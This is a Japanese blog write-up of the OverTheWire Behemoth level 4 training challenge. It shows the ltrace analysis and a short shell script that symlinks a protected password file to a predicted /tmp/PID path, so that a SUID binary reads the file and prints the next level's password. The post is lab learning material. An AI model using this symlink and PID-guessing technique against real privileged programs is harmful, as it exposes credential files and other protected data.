見出し画像

OverTheWire:Behemoth4

今日は久々の休暇。さぁ出かけよう!と思ったら生憎の梅雨空、外は雨。
というわけで、今日も "Over The Wire" (リンクはこちら)に掲載されている問題を解いて遊ぶことにした。。

"Over The Wire" は初心者向けの常設CTFサイト。コンピュータセキュリティに関する様々な練習問題が掲載されていて、それらを解くことでLinux やセキュリティについて段階的に学ぶことができるようになっている。

誰でも無料で利用ができるのでセキュリティを勉強したい人にはお勧めのサイトである。

ますは、前回の記事で取得したパスワードでサーバーに接続。
ssh behemoth4@behemoth.labs.overthewire.org -p 2221

今回の問題は behemoth4  。このプログラムを解析し、次のレベル( bemoth5 ) のパスワードを取得することがこのゲームのゴールである。

behemoth4@behemoth:~$ ls -l /behemoth/
total 72
-r-sr-x--- 1 behemoth1 behemoth0 5900 Aug 26  2019 behemoth0
-r-sr-x--- 1 behemoth2 behemoth1 5036 Aug 26  2019 behemoth1
-r-sr-x--- 1 behemoth3 behemoth2 7536 Aug 26  2019 behemoth2
-r-sr-x--- 1 behemoth4 behemoth3 5180 Aug 26  2019 behemoth3
-r-sr-x--- 1 behemoth5 behemoth4 7488 Aug 26  2019 behemoth4  #<--これ
-r-sr-x--- 1 behemoth6 behemoth5 7828 Aug 26  2019 behemoth5
-r-sr-x--- 1 behemoth7 behemoth6 7564 Aug 26  2019 behemoth6
-r-xr-x--- 1 behemoth7 behemoth6 7528 Aug 26  2019 behemoth6_reader
-r-sr-x--- 1 behemoth8 behemoth7 5676 Aug 26  2019 behemoth7
behemoth4@behemoth:~$ 

どんなプログラムなのか調べるため、まずはとりあえず実行してみる。「PIDが見つからない」という表示が出てあっけなく終了した。

behemoth4@behemoth:~$ /behemoth/behemoth4
PID not found!

何が起きているのだろう? ltrace でどんな関数がコールされているのか見てみよう。

behemoth4@behemoth:~$ ltrace /behemoth/behemoth4
__libc_start_main(0x804857b, 1, 0xffffd764, 0x8048640 <unfinished ...>
getpid()                                         = 3369
sprintf("/tmp/3369", "/tmp/%d", 3369)            = 9
fopen("/tmp/3369", "r")                          = 0
puts("PID not found!"PID not found!
)                           = 15
+++ exited (status 0) +++

どうやら、「自身のプロセスID」が名前になっているファイルを開こうとしているようだ。

ファイルが存在した場合はどんな処理をするのだろう?
プロセスIDを予想して、予め /tmp にファイルを作成し、問題のプログラムを ltrace で実行してみれば判る。

こんなのはシェルスクリプトを使えば簡単!

behemoth4@behemoth:/tmp/foo$ cat a.sh
PID=$$
echo $PID
cd /tmp
echo abc > $(($PID+2))
ltrace /behemoth/behemoth4

上記のスクリプトを実行してみる。

ehemoth4@behemoth:/tmp/foo$ bash a.sh
3469
__libc_start_main(0x804857b, 1, 0xffffd774, 0x8048640 <unfinished ...>
getpid()                                         = 3471
sprintf("/tmp/3471", "/tmp/%d", 3471)            = 9
fopen("/tmp/3471", "r")                          = 0x804b008
sleep(1)                                         = 0
puts("Finished sleeping, fgetcing"Finished sleeping, fgetcing
)              = 28
fgetc(0x804b008)                                 = 'a'
putchar(97, 0x80486c8, 3471, 0x8048591)          = 97
fgetc(0x804b008)                                 = 'b'
putchar(98, 0x80486c8, 3471, 0x8048591)          = 98
fgetc(0x804b008)                                 = 'c'
putchar(99, 0x80486c8, 3471, 0x8048591)          = 99
fgetc(0x804b008)                                 = '\n'
putchar(10, 0x80486c8, 3471, 0x8048591abc
)          = 10
fgetc(0x804b008)                                 = '\377'
fclose(0x804b008)                                = 0
+++ exited (status 0) +++
behemoth4@behemoth:/tmp/foo$ 

これで、このプログラムの動作が判った。

<behemoth4 の動作>
1) 自身のプロセスIDを取得して、/tmp/[プロセスID] のファイルを開く
2) ファイルが存在する場合は1秒スリープする。
3) ファイルの内容を画面に出力して終了。

 behemoth4 は SUID されたプログラムなので、パスワードファイル(/etc/behemoth_pass/behemoth5) から  /tmp/[プロセスID] にシンボリックリンクを張れば、パスワードが読み出されて画面に表示されることになる。

やってみよう。
前述のシェルスクリプトを少し書き換える。

ehemoth4@behemoth:/tmp/foo$ cat solve.sh 
PID=$$
echo $PID
cd /tmp
ln -s /etc/behemoth_pass/behemoth5  $(($PID+2))
/behemoth/behemoth4
ehemoth4@behemoth:/tmp/foo$

実行!

behemoth4@behemoth:/tmp/foo$ bash solve.sh
3598
Finished sleeping, fgetcing
aizeeshing

想定通りに動作して、次レベル( behemoth5 )へのパスワードが表示された。
これにて一件落着!

今日はこれでおしまい。ばいちゃ。

この記事が気に入ったらサポートをしてみませんか?